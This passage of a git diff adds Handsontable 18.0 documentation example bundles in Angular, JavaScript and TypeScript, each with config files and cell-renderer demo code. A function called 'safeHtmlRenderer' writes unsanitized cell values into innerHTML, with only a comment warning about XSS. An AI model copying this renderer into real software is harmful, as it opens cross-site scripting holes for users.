'cover', renderer: this.myCellTpl },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n };\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-functions/cell-renderer/angular/example2.ts","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example2","exampleTitle":"Use the renderer component within React's Context","docPermalink":"/cell-renderer","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__angular__example3.ts.json new file mode 100644 index 00000000..d7c1ef1e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__angular__example3.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Functions ▸ Cell renderer · Declare a custom renderer as a function · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { ChangeDetectionStrategy, Component, OnInit } from '@angular/core';\nimport {GridSettings, HotCellRendererComponent, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'app-color-renderer',\n template: `{{value}}`,\n standalone: true,\n imports: [],\n changeDetection: ChangeDetectionStrategy.OnPush\n})\nexport class ColorRendererComponent extends HotCellRendererComponent string\n}> implements OnInit {\n textColor = '';\n\n ngOnInit() {\n const props = this.getProps();\n this.textColor = props.textColor ?? 'black';\n\n if (props.textColorFn && typeof props.textColorFn === 'function') {\n this.textColor = props.textColorFn(this.value);\n }\n }\n\n}\n\n@Component({\n selector: 'app-example3',\n standalone: true,\n imports: [HotTableModule],\n template: `\n \n \n `,\n})\nexport class AppComponent {\n\n readonly hotData = [\n {\n title:\n 'Professional JavaScript for Web Developers',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n rate: 3\n },\n {\n title:\n 'JavaScript: The Good Parts',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n rate: 9\n },\n {\n title:\n 'JavaScript: The Definitive Guide',\n description:\n 'JavaScript: The Definitive Guide provides a thorough description of the core JavaScript language and both the legacy and standard DOMs implemented in web browsers.',\n rate: 5\n },\n ];\n\n readonly hotSettings: GridSettings = {\n colWidths: [200, 400, 80],\n colHeaders: ['Title', 'Description', 'Comments', 'Cover'],\n height: 'auto',\n columns: [\n { data: 'title', renderer: ColorRendererComponent, rendererProps: { textColor: 'blue' } },\n { data: 'description', renderer: ColorRendererComponent, rendererProps: { textColor: 'orange' } },\n { data: 'rate', renderer: ColorRendererComponent, rendererProps: { textColorFn: (value: string) => +value <= 5 ? 'red' : 'inherit' } },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-functions/cell-renderer/angular/example3.ts","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example3","exampleTitle":"Declare a custom renderer as a function","docPermalink":"/cell-renderer","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__angular__example4.ts.json new file mode 100644 index 00000000..c98dad11 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__angular__example4.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Functions ▸ Cell renderer · Declare a custom renderer as a function (2) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { AfterViewInit, Component, OnInit } from '@angular/core';\nimport {GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\nimport Handsontable from 'handsontable/base';\n\nconst coverRenderer = (_instance: Handsontable, td: HTMLTableCellElement, _row: number, _col: number, _prop: string | number, value: string) => {\n const img = document.createElement('img');\n\n img.src = value;\n img.addEventListener('mousedown', (event) => {\n event.preventDefault();\n });\n td.innerText = '';\n td.appendChild(img);\n\n return td;\n};\n\n\n@Component({\n selector: 'app-example4',\n template: `\n @if (hotSettings) {\n \n }\n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent implements OnInit, AfterViewInit {\n\n readonly hotData = [\n {\n title:\n 'Professional JavaScript for Web Developers',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n cover:\n '/docs/img/examples/professional-javascript-developers-nicholas-zakas.jpg',\n },\n {\n title:\n 'JavaScript: The Good Parts',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n cover: '/docs/img/examples/javascript-the-good-parts.jpg',\n },\n {\n title:\n 'JavaScript: The Definitive Guide',\n description:\n 'JavaScript: The Definitive Guide provides a thorough description of the core JavaScript language and both the legacy and standard DOMs implemented in web browsers.',\n cover: '/docs/img/examples/javascript-the-definitive-guide.jpg',\n },\n ];\n\n hotSettings!: GridSettings;\n\n ngOnInit() {\n }\n\n ngAfterViewInit() {\n this.hotSettings = {\n colWidths: [200, 400, 80],\n colHeaders: ['Title', 'Description', 'Cover'],\n height: 'auto',\n columns: [\n { data: 'title', renderer: 'html' },\n { data: 'description', renderer: 'html' },\n { data: 'cover', renderer: coverRenderer },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n };\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-functions/cell-renderer/angular/example4.ts","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example4","exampleTitle":"Declare a custom renderer as a function (2)","docPermalink":"/cell-renderer","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__angular__example5.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__angular__example5.ts.json new file mode 100644 index 00000000..adbb4591 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__angular__example5.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Functions ▸ Cell renderer · Render custom HTML in cells · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { AfterViewInit, Component } from '@angular/core';\nimport {GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\nimport Handsontable from 'handsontable/base';\n\nfunction safeHtmlRenderer(\n _instance: Handsontable,\n td: HTMLTableCellElement,\n _row: number,\n _col: number,\n _prop: string | number,\n value: string,\n _cellProperties: Handsontable.CellProperties\n) {\n // WARNING: Be sure you only allow certain HTML tags to avoid XSS threats.\n // Sanitize the \"value\" before passing it to the innerHTML property.\n td.innerHTML = value;\n return td;\n}\n\nfunction coverRenderer(\n _instance: Handsontable,\n td: HTMLTableCellElement,\n _row: number,\n _col: number,\n _prop: string | number,\n value: string,\n _cellProperties: Handsontable.CellProperties\n) {\n const img = document.createElement('img');\n\n img.src = value;\n img.addEventListener('mousedown', (event) => {\n event.preventDefault();\n });\n td.innerText = '';\n td.appendChild(img);\n\n return td;\n}\n\n@Component({\n selector: 'app-example5',\n template: `\n @if (hotSettings) {\n \n }\n `,\n standalone: true,\n imports: [HotTableModule],\n})\nexport class AppComponent implements AfterViewInit {\n\n readonly hotData = [\n {\n title:\n 'Professional JavaScript for Web Developers',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n comments: 'I would rate it ★★★★☆',\n cover:\n '/docs/img/examples/professional-javascript-developers-nicholas-zakas.jpg',\n },\n {\n title:\n 'JavaScript: The Good Parts',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n comments: 'This is the book about JavaScript',\n cover: '/docs/img/examples/javascript-the-good-parts.jpg',\n },\n {\n title:\n 'JavaScript: The Definitive Guide',\n description:\n 'JavaScript: The Definitive Guide provides a thorough description of the core JavaScript language and both the legacy and standard DOMs implemented in web browsers.',\n comments:\n 'I\\'ve never actually read it, but the comments are highly positive.',\n cover: '/docs/img/examples/javascript-the-definitive-guide.jpg',\n }\n ];\n\n hotSettings!: GridSettings;\n\n ngAfterViewInit() {\n this.hotSettings = {\n colWidths: [200, 200, 200, 80],\n colHeaders: ['Title', 'Description', 'Comments', 'Cover'],\n height: 'auto',\n columns: [\n { data: 'title', renderer: 'html' },\n { data: 'description', renderer: 'html' },\n { data: 'comments', renderer: safeHtmlRenderer },\n { data: 'cover', renderer: coverRenderer },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n };\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-functions/cell-renderer/angular/example5.ts","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example5","exampleTitle":"Render custom HTML in cells","docPermalink":"/cell-renderer","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__angular__example6.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__angular__example6.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__angular__example6.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__angular__example6.ts.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__javascript__example4.js.json new file mode 100644 index 00000000..5fbd57be --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__javascript__example4.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Functions ▸ Cell renderer · Declare a custom renderer as a function (2) · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst data = [\n {\n title:\n 'Professional JavaScript for Web Developers',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n comments: 'I would rate it ★★★★☆',\n cover: '/docs/img/examples/professional-javascript-developers-nicholas-zakas.jpg',\n },\n {\n title: 'JavaScript: The Good Parts',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n comments: 'This is the book about JavaScript',\n cover: '/docs/img/examples/javascript-the-good-parts.jpg',\n },\n {\n title: 'JavaScript: The Definitive Guide',\n description:\n 'JavaScript: The Definitive Guide provides a thorough description of the core JavaScript language and both the legacy and standard DOMs implemented in web browsers.',\n comments:\n 'I\\'ve never actually read it, but the comments are highly positive.',\n cover: '/docs/img/examples/javascript-the-definitive-guide.jpg',\n },\n];\n\nconst safeHtmlRenderer = (_instance, td, _row, _col, _prop, value) => {\n // WARNING: Be sure you only allow certain HTML tags to avoid XSS threats.\n // Sanitize the \"value\" before passing it to the innerHTML property.\n td.innerHTML = value;\n};\n\nconst coverRenderer = (_instance, td, _row, _col, _prop, value) => {\n const img = document.createElement('img');\n\n img.src = value;\n img.addEventListener('mousedown', (event) => {\n event.preventDefault();\n });\n td.innerText = '';\n td.appendChild(img);\n\n return td;\n};\n\nconst container = document.querySelector('#example4');\n\nnew Handsontable(container, {\n data,\n colWidths: [200, 200, 200, 80],\n colHeaders: ['Title', 'Description', 'Comments', 'Cover'],\n height: 'auto',\n columns: [\n { data: 'title', renderer: 'html' },\n { data: 'description', renderer: 'html' },\n { data: 'comments', renderer: safeHtmlRenderer },\n { data: 'cover', renderer: coverRenderer },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-functions/cell-renderer/javascript/example4.js","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example4","exampleTitle":"Declare a custom renderer as a function (2)","docPermalink":"/cell-renderer","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__javascript__example4.ts.json new file mode 100644 index 00000000..9e198ad4 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__javascript__example4.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Functions ▸ Cell renderer · Declare a custom renderer as a function (2) · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { BaseRenderer } from 'handsontable/renderers';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\ninterface Book {\n title: string;\n description: string;\n comments: string;\n cover: string;\n}\n\nconst data: Book[] = [\n {\n title:\n 'Professional JavaScript for Web Developers',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n comments: 'I would rate it ★★★★☆',\n cover: '/docs/img/examples/professional-javascript-developers-nicholas-zakas.jpg',\n },\n {\n title: 'JavaScript: The Good Parts',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n comments: 'This is the book about JavaScript',\n cover: '/docs/img/examples/javascript-the-good-parts.jpg',\n },\n {\n title: 'JavaScript: The Definitive Guide',\n description:\n 'JavaScript: The Definitive Guide provides a thorough description of the core JavaScript language and both the legacy and standard DOMs implemented in web browsers.',\n comments:\n 'I\\'ve never actually read it, but the comments are highly positive.',\n cover: '/docs/img/examples/javascript-the-definitive-guide.jpg',\n },\n];\n\nconst safeHtmlRenderer: BaseRenderer = (_instance, td, _row, _col, _prop, value) => {\n // WARNING: Be sure you only allow certain HTML tags to avoid XSS threats.\n // Sanitize the \"value\" before passing it to the innerHTML property.\n td.innerHTML = value;\n};\n\nconst coverRenderer: BaseRenderer = (_instance, td, _row, _col, _prop, value) => {\n const img = document.createElement('img');\n\n img.src = value;\n\n img.addEventListener('mousedown', (event) => {\n event.preventDefault();\n });\n\n td.innerText = '';\n td.appendChild(img);\n\n return td;\n};\n\nconst container = document.querySelector('#example4')!;\n\nnew Handsontable(container, {\n data,\n colWidths: [200, 200, 200, 80],\n colHeaders: ['Title', 'Description', 'Comments', 'Cover'],\n height: 'auto',\n columns: [\n { data: 'title', renderer: 'html' },\n { data: 'description', renderer: 'html' },\n { data: 'comments', renderer: safeHtmlRenderer },\n { data: 'cover', renderer: coverRenderer },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-functions/cell-renderer/javascript/example4.ts","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example4","exampleTitle":"Declare a custom renderer as a 